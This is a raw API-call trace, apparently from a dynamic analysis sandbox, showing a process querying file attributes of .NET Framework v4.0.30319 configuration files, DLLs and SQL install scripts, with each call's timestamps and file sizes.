	[0087.746] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config.default" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_lowtrust.config.default"), fInfoLevelId=0x0, lpFileInformation=0x1273fb88 | out: lpFileInformation=0x1273fb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1ff0)) returned 1
	[0087.746] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_mediumtrust.config"), fInfoLevelId=0x0, lpFileInformation=0x1273fbd8 | out: lpFileInformation=0x1273fbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2de0)) returned 1
	[0087.747] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config.default" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_mediumtrust.config.default"), fInfoLevelId=0x0, lpFileInformation=0x1273fc28 | out: lpFileInformation=0x1273fc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2de0)) returned 1
	[0087.747] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_minimaltrust.config"), fInfoLevelId=0x0, lpFileInformation=0x1273fc78 | out: lpFileInformation=0x1273fc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1bd2)) returned 1
	[0087.747] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config.default" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_minimaltrust.config.default"), fInfoLevelId=0x0, lpFileInformation=0x1273fcc8 | out: lpFileInformation=0x1273fcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ee3c8c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1bd2)) returned 1
	[0087.747] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1273fd18 | out: lpFileInformation=0x1273fd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1
	[0087.748] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.comments" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config.comments"), fInfoLevelId=0x0, lpFileInformation=0x1273fd68 | out: lpFileInformation=0x1273fd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x16689)) returned 1
	[0087.748] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.default" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config.default"), fInfoLevelId=0x0, lpFileInformation=0x1273fdb8 | out: lpFileInformation=0x1273fdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1
	[0087.748] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web.config"), fInfoLevelId=0x0, lpFileInformation=0x1273fe08 | out: lpFileInformation=0x1273fe08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe871da00, ftCreationTime.dwHighDateTime=0x1cd5cf9, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe871da00, ftLastWriteTime.dwHighDateTime=0x1cd5cf9, nFileSizeHigh=0x0, nFileSizeLow=0xa87d)) returned 1
	[0087.749] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.comments" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web.config.comments"), fInfoLevelId=0x0, lpFileInformation=0x1273fe58 | out: lpFileInformation=0x1273fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84df4000, ftCreationTime.dwHighDateTime=0x1cd433a, ftLastAccessTime.dwLowDateTime=0xd5c0e3a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x84df4000, ftLastWriteTime.dwHighDateTime=0x1cd433a, nFileSizeHigh=0x0, nFileSizeLow=0x10f90)) returned 1
	[0087.749] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.default" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web.config.default"), fInfoLevelId=0x0, lpFileInformation=0x1273fea8 | out: lpFileInformation=0x1273fea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe871da00, ftCreationTime.dwHighDateTime=0x1cd5cf9, ftLastAccessTime.dwLowDateTime=0xd5c34500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe871da00, ftLastWriteTime.dwHighDateTime=0x1cd5cf9, nFileSizeHigh=0x0, nFileSizeLow=0xa87d)) returned 1
	[0087.750] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_hightrust.config"), fInfoLevelId=0x0, lpFileInformation=0x1273fef8 | out: lpFileInformation=0x1273fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2a64)) returned 1
	[0087.750] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config.default" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_hightrust.config.default"), fInfoLevelId=0x0, lpFileInformation=0x1273ff48 | out: lpFileInformation=0x1273ff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x2a64)) returned 1
	[0087.750] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_lowtrust.config"), fInfoLevelId=0x0, lpFileInformation=0x1273ff98 | out: lpFileInformation=0x1273ff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x177c)) returned 1
	[0087.751] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config.default" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_lowtrust.config.default"), fInfoLevelId=0x0, lpFileInformation=0x1274a008 | out: lpFileInformation=0x1274a008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x177c)) returned 1
	[0087.751] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_mediumtrust.config"), fInfoLevelId=0x0, lpFileInformation=0x1274a058 | out: lpFileInformation=0x1274a058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x26c8)) returned 1
	[0087.752] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config.default" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_mediumtrust.config.default"), fInfoLevelId=0x0, lpFileInformation=0x1274a0a8 | out: lpFileInformation=0x1274a0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x26c8)) returned 1
	[0087.752] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_minimaltrust.config"), fInfoLevelId=0x0, lpFileInformation=0x1274a0f8 | out: lpFileInformation=0x1274a0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1362)) returned 1
	[0087.752] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config.default" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_minimaltrust.config.default"), fInfoLevelId=0x0, lpFileInformation=0x1274a148 | out: lpFileInformation=0x1274a148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1362)) returned 1
	[0087.753] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\culture.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274a198 | out: lpFileInformation=0x1274a198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x590409e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xd4a0)) returned 1
	[0087.754] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CustomMarshalers.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\custommarshalers.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274a1e8 | out: lpFileInformation=0x1274a1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5908cca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x174c0)) returned 1
	[0087.754] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\datasvcutil.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274a288 | out: lpFileInformation=0x1274a288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x590ff0c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x116b0)) returned 1
	[0087.754] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\datasvcutil.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1274a2d8 | out: lpFileInformation=0x1274a2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeecc200, ftCreationTime.dwHighDateTime=0x1ca2998, ftLastAccessTime.dwLowDateTime=0x9ebdb2c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xaeecc200, ftLastWriteTime.dwHighDateTime=0x1ca2998, nFileSizeHigh=0x0, nFileSizeLow=0x9c)) returned 1
	[0087.755] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\EdmGen.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\edmgen.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274a328 | out: lpFileInformation=0x1274a328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x591e3900, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x17898)) returned 1
	[0087.755] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\EventLogMessages.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\eventlogmessages.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274a378 | out: lpFileInformation=0x1274a378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5927be80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xc46c0)) returned 1
	[0087.756] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\FileTracker.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\filetracker.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274a3c8 | out: lpFileInformation=0x1274a3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x593606c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x346b0)) returned 1
	[0087.756] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ISymWrapper.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\isymwrapper.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274a418 | out: lpFileInformation=0x1274a418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x594dd480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x114b0)) returned 1
	[0087.756] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installcommon.sql"), fInfoLevelId=0x0, lpFileInformation=0x1274a468 | out: lpFileInformation=0x1274a468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eda4340, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x601b)) returned 1
	[0087.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installmembership.sql"), fInfoLevelId=0x0, lpFileInformation=0x1274a4b8 | out: lpFileInformation=0x1274a4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14e52900, ftCreationTime.dwHighDateTime=0x1d0923c, ftLastAccessTime.dwLowDateTime=0x5941eda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x14e52900, ftLastWriteTime.dwHighDateTime=0x1d0923c, nFileSizeHigh=0x0, nFileSizeLow=0xdbb8)) returned 1
	[0087.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersistsqlstate.sql"), fInfoLevelId=0x0, lpFileInformation=0x1274a508 | out: lpFileInformation=0x1274a508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9129300, ftCreationTime.dwHighDateTime=0x1d06a01, ftLastAccessTime.dwLowDateTime=0x5941eda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf9129300, ftLastWriteTime.dwHighDateTime=0x1d06a01, nFileSizeHigh=0x0, nFileSizeLow=0xd577)) returned 1
	[0087.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersonalization.sql"), fInfoLevelId=0x0, lpFileInformation=0x1274a558 | out: lpFileInformation=0x1274a558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9edf0600, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x8886)) returned 1
	[0087.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installprofile.sql"), fInfoLevelId=0x0, lpFileInformation=0x1274a5a8 | out: lpFileInformation=0x1274a5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ee16760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x519b)) returned 1
	[0087.758] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installroles.sql"), fInfoLevelId=0x0, lpFileInformation=0x1274a5f8 | out: lpFileInformation=0x1274a5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ee16760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x85d8)) returned 1
	[0087.758] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstate.sql"), fInfoLevelId=0x0, lpFileInformation=0x1274a648 | out: lpFileInformation=0x1274a648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9129300, ftCreationTime.dwHighDateTime=0x1d06a01, ftLastAccessTime.dwLowDateTime=0x59444f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf9129300, ftLastWriteTime.dwHighDateTime=0x1d06a01, nFileSizeHigh=0x0, nFileSizeLow=0xd49b)) returned 1
	[0087.758] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstatetemplate.sql"), fInfoLevelId=0x0, lpFileInformation=0x1274a698 | out: lpFileInformation=0x1274a698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9129300, ftCreationTime.dwHighDateTime=0x1d06a01, ftLastAccessTime.dwLowDateTime=0x59444f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf9129300, ftLastWriteTime.dwHighDateTime=0x1d06a01, nFileSizeHigh=0x0, nFileSizeLow=0xdba9)) returned 1
	[0087.759] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installutil.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274a6e8 | out: lpFileInformation=0x1274a6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5946b060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0)) returned 1
	[0087.759] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installutil.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1274a738 | out: lpFileInformation=0x1274a738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x769a9000, ftCreationTime.dwHighDateTime=0x1cd5cfb, ftLastAccessTime.dwLowDateTime=0xcf6e3ca0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x769a9000, ftLastWriteTime.dwHighDateTime=0x1cd5cfb, nFileSizeHigh=0x0, nFileSizeLow=0xb6)) returned 1
	[0087.760] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtilLib.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installutillib.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274a788 | out: lpFileInformation=0x1274a788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x594911c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x10ab8)) returned 1
	[0087.760] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installwebeventsqlprovider.sql"), fInfoLevelId=0x0, lpFileInformation=0x1274a7d8 | out: lpFileInformation=0x1274a7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ee16760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1939)) returned 1
	[0087.761] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MOF" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mof"), fInfoLevelId=0x0, lpFileInformation=0x1274a828 | out: lpFileInformation=0x1274a828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b4eeb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd1269b00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd1269b00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
